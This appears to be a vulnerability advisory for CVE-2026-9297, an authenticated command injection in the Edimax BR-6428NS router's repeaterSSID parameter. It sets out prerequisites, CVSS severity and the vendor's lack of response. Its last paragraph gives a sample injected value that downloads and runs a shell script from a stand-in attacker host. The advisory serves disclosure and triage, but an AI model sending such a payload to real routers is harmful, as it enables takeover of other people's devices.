Edimax BR-6428NS CVE-2026-9297

Exploitation requires valid credentials to the Edimax BR-6428NS web management interface, confirmed by the CVSS PR:L (low privilege) designation - unauthenticated exploitation is not indicated by available data. The attacker must be able to reach the management interface over the network (AV:N, AC:L), meaning the web GUI must be reachable from the attacker's position (LAN or WAN depending on device configuration). The specific trigger condition is a POST request to /goform/formWlbasic with a manipulated repeaterSSID parameter - the repeater/WISP functionality does not need to be actively in use, only the handler must be reachable. No special non-default configuration is required beyond standard device operation. Exploitation is limited by the need for authenticated access: devices using strong, non-default credentials are materially harder to exploit than those retaining factory defaults.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) places this at medium severity (6.3), but several factors complicate a simple score-based triage. The PR:L (low-privilege authenticated) requirement is the primary limiting factor - an attacker must first obtain valid credentials to the router's web interface, which on many home and small-business devices use default or weak passwords, substantially lowering the real-world bar. Attack Complexity is Low and no user interaction is needed, meaning exploitation is straightforward once credentials are obtained. The temporal modifier E:P confirms a publicly available exploit, which elevates the practical risk beyond the base score. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no EPSS score was provided, so automated or widespread exploitation is not confirmed. The vendor's non-response to pre-disclosure contact means there is no official guidance or patch, leaving deployed devices permanently exposed unless owners apply independent mitigations. For network-edge devices like routers, command injection with OS-level impact is typically more consequential than S:U/C:L/I:L/A:L implies, since root-level access is common on embedded Linux routers regardless of CVSS scope notation.

An attacker who has obtained low-privilege credentials to the Edimax BR-6428NS web interface - via default credentials, credential stuffing, or phishing - sends a crafted HTTP POST request to /goform/formWlbasic with a repeaterSSID value containing shell metacharacters (e.g., repeaterSSID=legitSSID;wget+http://attacker/shell.sh+-O+/tmp/s;sh+/tmp/s). The router's CGI handler passes the unsanitized value to a system command, executing the injected payload with the privileges of the web server process, which on embedded Linux routers typically runs as root. A public proof-of-concept detailing this technique is available via the Notion writeup linked in the references.